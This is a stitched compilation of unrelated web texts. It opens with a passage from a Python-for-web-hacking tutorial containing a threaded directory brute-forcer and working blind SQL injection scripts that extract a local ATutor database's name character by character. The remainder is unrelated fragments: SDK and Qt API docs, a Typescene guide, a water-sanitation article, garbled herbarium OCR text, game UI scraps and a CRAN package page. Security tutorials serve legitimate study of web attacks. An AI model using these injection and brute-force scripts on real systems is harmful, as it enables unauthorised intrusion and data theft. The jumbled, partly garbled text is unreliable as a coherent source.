package has logic to automatically detect the target HTML page's encoding. - Installation:
-
pip install lxml pip install BeautifulSoup
-
Suppose we are having the HTML content from a request stored in a variable named
content
. Usinglxml
, we could retrive thecontent
and parse the links as follows: -
from io import BytesIO from lxml import etree import requests url = 'https://www.example.com' r = requests.get(url) content = r.content # content is of type 'bytes' parser = etree.HTMLParser() content = etree.parse(BytesIO(content), parser=parser) # Parse into > tree for link in content.findall('//a'): # find all "a" anchor elements print(f"{link.get('href')} -> {link.text}")
Note: I tested this and I think it only works with python 3.6 or below
-
Same thing Using
BeautifulSoup
-
from bs4 import BeautifulSoup as bs import requests url = "https://www.google.com" r = requests.get(url) tree = bs(r.text, 'html.parser') # Parse into tree for link in tree.find_all('a'): # find all "a" anchor elements print(f"{link.get('href')} -> {link.text}")
Python Multi-threading
I personally think that multi-processing is better as compared to multi-threaded python scripts. It's good to learn unless and until you wanna just sit and see each request going one by one wasting your time.
We usually use python `queue` for multi-threading coz it's thread-safe and doesn't cause race condition.
- Here's a brute-forcing tool that'll help you understand multi-threading using queue.
-
import queue import threading import urllib.error import urllib.parse import urllib.request threads = 50 target_url = "http://testphp.vulnweb.com" wordlist_file = "all.txt" # from SVNDigger resume = None user_agent = "Mozilla/5.0 (X11; Linux x86_64; rv:19.0) " \ "Gecko/20100101 " \ "Firefox/19.0" def build_wordlist(wordlst_file): # read in the word list fd = open(wordlst_file, "r") raw_words = [line.rstrip('\n') for line in fd] fd.close() found_resume = False words = queue.Queue() for word in raw_words: if resume: if found_resume: words.put(word) else: if word == resume: found_resume = True print("Resuming wordlist from: %s" % resume) else: words.put(word) return words def dir_bruter(extensions=None): while not word_queue.empty(): attempt = word_queue.get() attempt_list = [] # check if there is a file extension if not # it's a directory path we're bruting if "." not in attempt: attempt_list.append("/%s/" % attempt) else: attempt_list.append("/%s" % attempt) # if we want to bruteforce extensions if extensions: for extension in extensions: attempt_list.append("/%s%s" % (attempt, extension)) # iterate over our list of attempts for brute in attempt_list: url = "%s%s" % (target_url, urllib.parse.quote(brute)) try: headers = {"User-Agent": user_agent} r = urllib.request.Request(url, headers=headers) response = urllib.request.urlopen(r) if len(response.read()): print("[%d] => %s" % (response.code, url)) except urllib.error.HTTPError as e: if e.code != 404: print("!!! %d => %s" % (e.code, url)) pass word_queue = build_wordlist(wordlist_file) file_extensions = [".php", ".bak", ".orig", ".inc"] for i in range(threads): t = threading.Thread(target=dir_bruter, args=(file_extensions,)) t.start()
Python Multi-Processing
Let's understand multi-processing using a script that'll help us retrieve database length using SQL
-
import multiprocessing as mp import requests target = "http://localhost/link/" def db_length(number): payload = f"te')/**/or/**/(length(database()))={number}#" param = {'q': payload} r = requests.get(target, param) content_length = int(r.headers['Content-length']) if content_length > 20: print(number) if __name__ == "__main__": print('[*] Retreiving Database Length: \n[*] Database length: ', end=' ') processes = [] for number in range(30): p = mp.Process(target=db_length, args=[number]) p.start() processes.append(p) for process in processes: process.join()
Python concurrent.futures
This one is the GOAT. Less code, more capability.
import requests
import concurrent.futures
target = "http://localhost/atutor/"
final_string = {}
def db_length(number):
payload = f"te')/**/or/**/(length(database()))={number}#"
param = {'q': payload}
r = requests.get(target, param)
content_length = int(r.headers['Content-length'])
if content_length > 20:
return number
def atutor_dbRetrieval(l):
for j in range(32, 256):
payload = f"te')/**/or/**/(select/**/"
payload += "ascii(substring(database(),{l},1))={j})#"
param = {'q': payload}
r = requests.get(target, param)
content_length = int(r.headers['Content-length'])
if content_length > 20:
final_string[l-1] = chr(j)
print(''.join(final_string[i] for i in sorted(final_string.keys())))
if __name__ == "__main__":
print('[*] Retreiving Database Length: \n[*] Database length: ', end=' ')
db_len = 0
with concurrent.futures.ProcessPoolExecutor() as executor:
results = [executor.submit(db_length, _) for _ in range(30)]
for f in concurrent.futures.as_completed(results):
if f.result() != None:
db_len = f.result()
print(db_len)
print("[+] Retrieving Database name: ....")
with concurrent.futures.ThreadPoolExecutor() as executor:
results = [executor.submit(atutor_dbRetrieval, index) for index in range(db_len+1)]
print("[+] Database Name: ", end=" ")
print(''.join(final_string[i] for i in sorted(final_string.keys())))
print("[+] Done")
Using python to navigate file system
OS Module
Note: Python OS Module can be used to navigate through the file system.
+ os.getcwd()
+ os.chdir()
+ os.listdir()
+ os.mkdir()
+ os.makedirs()
+ os.rmdir()
+ os.removedirs()
+ os.rename(, )
+ os.stat()
+ os.walk()
+ os.environ
+ os.path.join(, )
+ os.path.basename()
+ os.path.dirname()
+ os.path.exists()
+ os.path.splitext()
+ dir(os)
=> get curret working directory
=> change directory
=> list directory
=> create a directory
=> make directories recursively
=> remove directory
=> remove directory recursively
=> rename file
=> print all info of a file
=> traverse directory recursively
=> get environment variables
=> join path without worrying about /
=> get basename
=> get dirname
=> check if the path exists or not
=> split path and file extension
=> check what methods exists
Using python to read and write files
- Reading a file
-
with open('test.txt', 'r') as f: f_contents = f.read() print(f_contents)
- Get all lines into a list
-
with open('test.txt', 'r') as f: f_contents = f.readlines() print(f_contents)
- Read 1 line at a time
-
with open('test.txt', 'r') as f: f_contents = f.readline() print(f_contents)
- Reading file efficiently
-
with open('test.txt', 'r') as f: for line in f: print(line, end='')
- Going back to the start of the file
-
with open('test.txt', 'r') as f: for line in f: print(line, end='')
- Writing to a file
-
with open('test2.txt', 'w') as f: f.write('Test')
Note: `w` will overwrite the file, so use `a` if you wanna append
- Appending to a file
-
with open('test2.txt', 'a') as f: f.write('Test')
- Read and write to a file at the same time
-
with open('test.txt', 'r') as rf: with open('test_copy.txt', 'w') as wf: for line in rf: wf.write(line)
Conclusion
As per my experience, with this much knowledge of python - you can write almost all automation scripts you'll ever require while doing bug bounties and web hacking.


#import <NTProjection.h>
Instance Methods | |
| (BOOL) | - isEqual: |
| (NSUInteger) | - hash |
| (NTMapBounds *) | - getBounds |
| (double) | - getLocalScale: |
| (double) | - fromInternalScale: |
| (NTMapPos *) | - fromWgs84: |
| (NTMapPos *) | - toWgs84: |
| (NTMapPos *) | - fromLat:lng: |
| (NTMapPos *) | - toLatLong:y: |
| (NSString *) | - getName |
| (NSString *) | - swigGetClassName |
| (void *) | - swigGetDirectorObject |
Class Methods | |
| (NTProjection *) | + swigCreatePolymorphicInstance:swigOwnCObject: |
An abstract base class for all projections.
| - (double) fromInternalScale: | (double) | size |
Converts internal size to meters at the equator.
| size | The size in the internal coordinate system. |
Reimplemented in NTEPSG3857.
| - (NTMapPos *) fromLat: | (double) | lat | |
| lng: | (double) | lng | |
Transforms a position given using latitutde-longitude coordinates from the WGS84 coordinate system to the coordinate system of this projection.
| lat | The latitude in the WGS84 coordinate system. It should be in range -90..90. |
| lng | The longitude in the WGS84 coordinate system. It should be in range -180..180. |
Transforms a position from the WGS84 coordinate system to the coordinate system of this projection.
| pos | The position in the WGS84 coordinate system. It should be encoded as longitude-latitude. |
Reimplemented in NTEPSG3857.
| - (NTMapBounds *) getBounds |
Returns the bounds of this projection.
| - (double) getLocalScale: | (NTMapPos*) | pos |
Returns local scale for the specified position.
| pos | The position in the internal coordinate system. |
| - (NSString *) getName |
Return name of this projection in Well-Known format. For example, as "EPSG:3857"
Reimplemented in NTEPSG3857.
| - (NSUInteger) hash |
Returns the hash value of this object.
| - (BOOL) isEqual: | (id) | object |
Checks if this object is equal to the specified object.
| object | The reference object. |
| + (NTProjection *) swigCreatePolymorphicInstance: | (void*) | cPtr | |
| swigOwnCObject: | (BOOL) | cMemoryOwn | |
Creates a polymorphic instance of the given native object. This is used internally by the SDK.
| cPtr | The native pointer of the instance. |
| cMemoryOwn | The ownership flag. |
Reimplemented in NTEPSG3857.
| - (NSString *) swigGetClassName |
Returns the actual class name of this object. This is used internally by the SDK.
Reimplemented in NTEPSG3857.
| - (void *) swigGetDirectorObject |
Returns the pointer to the connected director object. This is used internally by the SDK.
Reimplemented in NTEPSG3857.
| - (NTMapPos *) toLatLong: | (double) | x | |
| y: | (double) | y | |
Transforms a position from the coordinate system of this projection to the WGS84 coordinate system latitude-longitute coordinates.
| x | The x position in the coordinate system of this projection. |
| y | The y position in the coordinate system of this projection. |
Transforms a position from the coordinate system of this projection to the WGS84 coordinate system.
| pos | The position in the coordinate system of this projection. |
Reimplemented in NTEPSG3857.


Loading documentation viewer
Save time when creating Typescene projects and modules, with the Yeoman scaffolding tool.
Yeoman is a scaffolding tool that helps you to put together project skeletons for all kinds of frameworks, using specific generator packages for each framework or platform.
To install the generator for Typescene, run the following command:
npm install -g yo generator-typescene
See the documentation for the Typescene generator package for more detail.
Create an application (in a new folder) with the following commands:
mkdir my-project
cd my-project
yo typescene
You can even use the Yeoman generator to add new modules to an existing project:
yo typescene:module my-new-module
Compile and run your application with a few simple commands:
npm run build
to compile your code for production (into the dist/
and/or public/
folders).npm run start:dev
to open a browser and view the result of your application as bundled by Webpack.systemjs
option of the Yeoman generator, run npm run watch
to compile your code and watch for changes. You can then use a tool such as http-server
(from this package) or equivalent to serve the result.Add code to your application inside of the src/
folder.
Get started creating UI components
This is the documentation page for “Using the Yeoman generator”, part of the Typescene toolkit.


Creates an effect where text appears to be "etched" or engraved into the background. - Use `text-shadow` to create a white shadow offset `0px` horizontally and `2px` vertically from the origin position. - The background must be darker than the shadow for the effect to work. - The text color should be slightly faded to make it look like it's engraved/carved out of the background.
I appear etched into the background.


Lorem Ipsum is simply dummy text of the printing and typesetting industry. Lorem Ipsum has been the industry's


--- layout: post title: No support for Building from Subversion tags: - Application Lifecycle Management - Software Configuration Management status: publish type: post published: true meta: {} --- I mentioned a few days ago that I was looking to write a paper about building from Subversion using strict configuration management control. There seems to be no previous art on how to do this, even in a similiar way to the current way that GNU Make suppors tools like RCS (admintally RCS is a file based version control system as apposed to directory based like CVS and Subversion). So I a appear to be breaking new ground :-). I had an epithany today relating to the use of listing a Build Of Lost as a Subversion repository. Make should be able to update the build revion with the details of the files used as inputs -- the slightly tricky part is to conconcate the information from source files to final built targets via the intermediate built files. Update 14/Nov/06 -- I did find this about using Ant and Subversion, this list of VC Ant tasks and this list of optional Ant tasks
powered by performancing firefox


Rotation QML Type
Provides a way to rotate an Item More...
| Import Statement: | import QtQuick 2.7 |
Properties
Detailed Description
The Rotation type provides a way to rotate an Item through a rotation-type transform.
It allows (z axis) rotation to be relative to an arbitrary point, and also provides a way to specify 3D-like rotations for Items. This gives more control over item rotation than the rotation property.
The following example rotates a Rectangle around its interior point (25, 25):
Rectangle { width: 100; height: 100 color: "blue" transform: Rotation { origin.x: 25; origin.y: 25; angle: 45} }
For 3D-like item rotations, you must specify the axis of rotation in addition to the origin point. The following example shows various 3D-like rotations applied to an Image.
import QtQuick 2.0 Row { x: 10; y: 10 spacing: 10 Image { source: "pics/qt.png" } Image { source: "pics/qt.png" transform: Rotation { origin.x: 30; origin.y: 30; axis { x: 0; y: 1; z: 0 } angle: 18 } } Image { source: "pics/qt.png" transform: Rotation { origin.x: 30; origin.y: 30; axis { x: 0; y: 1; z: 0 } angle: 36 } } Image { source: "pics/qt.png" transform: Rotation { origin.x: 30; origin.y: 30; axis { x: 0; y: 1; z: 0 } angle: 54 } } Image { source: "pics/qt.png" transform: Rotation { origin.x: 30; origin.y: 30; axis { x: 0; y: 1; z: 0 } angle: 72 } } }
See also Dial Control example and Qt Quick Demo - Clocks.
Property Documentation
The axis to rotate around. For simple (2D) rotation around a point, you do not need to specify an axis, as the default axis is the z axis (axis { x: 0; y: 0; z: 1 }
).
For a typical 3D-like rotation you will usually specify both the origin and the axis.
The origin point of the rotation (i.e., the point that stays fixed relative to the parent as the rest of the item rotates). By default the origin is (0, 0).


Expanding Water and Sanitation
in the Solomon Islands
By Jaidev Vasudevan
Adapted from an article published in Water Engineers Australia, July 2012
The Solomon Islands has experienced a tumultuous decade, with ethnic tensions escalating over a five-year period from 1998. With the support of the Regional Assistance Mission to Solomon Islands (RAMSI), hostilities ceased in 2003 and the country began the rebuilding process.
Today, essential services such as education, health and infrastructure, which were disrupted by the tensions, are slowly regaining momentum. Numerous challenges lay ahead, particularly for infrastructure projects such as water and sanitation. However the outlook is optimistic.
Solomon Islands is one of Australia’s closest neighbours and is comprised of nearly 900 picturesque islands. Eighty-five per cent of the almost 600,000 Solomon Island- ers live in rural areas, spread over 300 islands. The majority of the population engage in subsistence farming and fishing, and have little disposable income. Although many of these communities were geographically removed from the tensions, the effect was widespread disruption of government services.
Although generally not as water-scarce as other countries, Solomon Islands is unlikely to meet its Millennium Development Goals (MDG) targets for both water supply and sanitation. Presently, 75% of the population have access to an improved water supply compared to the MDG target of 85%. This shortfall can be attributed in part to the tensions (where rural development was disrupted) and to infrastructure damage from the 2007 earthquake and tsunami.
"Sanitation coverage for the Solomons is poor. Less than a third of the population have access to adequate facilities, well below the regional average of 46% for Pacific Island countries."
The majority of water supply projects in the Solomons are gravity-fed systems, using rivers, creeks and springs as sources. The standard design is to construct a dam at the source connected to ferro-cement tanks located at the community using poly pipe.
The water is then distributed to communal standpipes. Although system sizes are small and the water sources are often less than 3km away, the cost of materials and shipping is quite high.
Other less commonly used systems include rainwater harvesting systems, hand-dug wells (where water is available and contamination is not an issue), and small-scale pumping sys- tems (eg solar). With the latter two systems, reliability and maintenance is a key factor to ensure that the system continues to work in years to come.
section 4
section 5


?6
7
8
9
10
T
XT
V
.
The
New
York
copyright
reserved
botanical
Garden
CAR/
^UlSLVf.^^
ARNOLD
ARBORETUM,
HARVARD
UNIVERSITY
Plants
of
Bermuda
Lucuma
naramosa
Cultivated
tree,
30
ft.
tall;
flowers
white.
Bellvue,
Paget,
Bermuda.
E.
A.
Manuel
1056
Nov.
11,
1967
Wellesley
College
v
Tew
vo^v
Herbarium
(WELO'I
botanical
Orated
to
NY
in
1988
^PARDEH.
Legend -
Level of confidence that token is an accurately-transcribed word
extremely low
very low
low
undetermined
medium
high
very high


Butterfly Loft
Reset Game
Shop
Butterflies
0
dewdrops
0
x boost
0
drops per second
0
/
0
pots used
Item
Description
Dewdrops
✖
Sell Mode
Name
Desc
✖
Flowers


This Imaginative Donut Shop is Inspired by Mexican Pop Culture
The donut shop in Downey, CA is anything but traditional. From the Instagram-friendly decor inside and out, to the glittery and imaginative donuts inspired by Mexican pop culture. This shop can't keep their doughnuts on the shelf! Some of the top neighborhood favorites are the Abuelita hot chocolate, bionico, mazapan and El Santo donuts, but their best-selling one is the Bidi Bom donut, which is inspired by the late Mexican-Tejana singer, Selena.
The delicious, sugary treats are made fresh daily with real yeast and take many hours to make just right.
Follow Donas on social media at: facebook.com/Donas8636
and on Instagram: @donasofficial and Twitter: @Donas8636


It's funny how some of the most useful commands on a
Unix system have gained themselves a reputation for being
user-unfriendly. Do find, grep,
sed, tr, or
mount make you shudder? If not, remember that you
still have novice users who are intimidated by—and therefore
aren't gaining the full potential of—these
commands.
This chapter also addresses some useful filesystem manipulations.
 Would you like to manipulate /tmp or
your swap partition?  Might you consider ghosting your BSD system? If
so, this chapter is for you.
|


|
| Value |
Description |
Notes |
|
| 01 |
Proprietary |
|
| 02 |
PND |
Personennamendatei – person name authority file used by Deutsche Nationalbibliothek and in other German-speaking countries.
See http://www.d-nb.de/standardisierung/normdateien/pnd.htm (German) or http://www.d-nb.de/eng/standardisierung/normdateien/pnd.htm
(English). DEPRECATED in favour of the GND.
|
| 04 |
LCCN |
Library of Congress control number assigned to a Library of Congress Name Authority record. |
| 16 |
ISNI |
International Standard Name Identifier. See ‘http://www.isni.org/’. |
| 25 |
GND |
Gemeinsame Normdatei – Joint Authority File in the German-speaking countries. See 'http://www.dnb.de/EN/Standardisierung/Normdaten/GND/gnd_node.html
(English)'. Combines the PND, SWD and GKD into a single authority file, and should be used in preference.
|
|


{Previous1}  Start   Contents   {Next1}
Prolog facts and rules can be used to represent logical knowledge that is relatively formal in nature. Many types of business rules, such as pricing, workflow and underwriting rules fall in this catagory, as do many types of government and organization rules and regulations.
The facts and rules of the application area are stored in a logic base. The rules are applied to specific cases. An application sets up a case by asserting dynamic facts to the logic base. The application can then query the logic base and get the results for that particular case.
For example, a logic base might contain the facts and rules for pricing an air line ticket. The application using that logic base would first assert the particulars of the flight, say dates and destination, and then query the logic base to get the fare.
Prolog comes from the same theoretical roots as relational database. Prolog facts are similar to rows of relational tables. Prolog queries are like database queries, and Prolog rules are like saved queries.
The primary difference between a logic base and a database is focus. The main focus of a database is data. The main focus of a logic base is logical relationships, or rules.
A logic base can hold a fair amount of data (logical facts). It's rules can also reason over data in external databases.
This section of the tutorial will show how to:


Nickname must be alphanumeric characters only!
Play
Gameplay
W - Move Up
S - Move Down
A - Move Left
D - Move Right
Spacebar - Shoot Enemies
Health:
Progress:


mlegp: Maximum Likelihood Estimates of Gaussian Processes
Maximum likelihood Gaussian process modeling for
univariate and multi-dimensional outputs with diagnostic plots
following Santner et al (2003) <doi:10.1007/978-1-4757-3799-8>.
Contact the maintainer for a package version that includes
sensitivity analysis.
| Version: |
3.1.7 |
| Suggests: |
snowfall |
| Published: |
2018-04-14 |
| Author: |
Garrett M. Dancik |
| Maintainer: |
Garrett M. Dancik <dancikg at easternct.edu> |
| License: |
GPL-2 | GPL-3 [expanded from: GPL (≥ 2)] |
| NeedsCompilation: |
yes |
| Citation: |
mlegp citation info |
| CRAN checks: |
mlegp results |
Downloads:
Reverse dependencies:
Linking:
Please use the canonical form
https://CRAN.R-project.org/package=mlegp
to link to this page.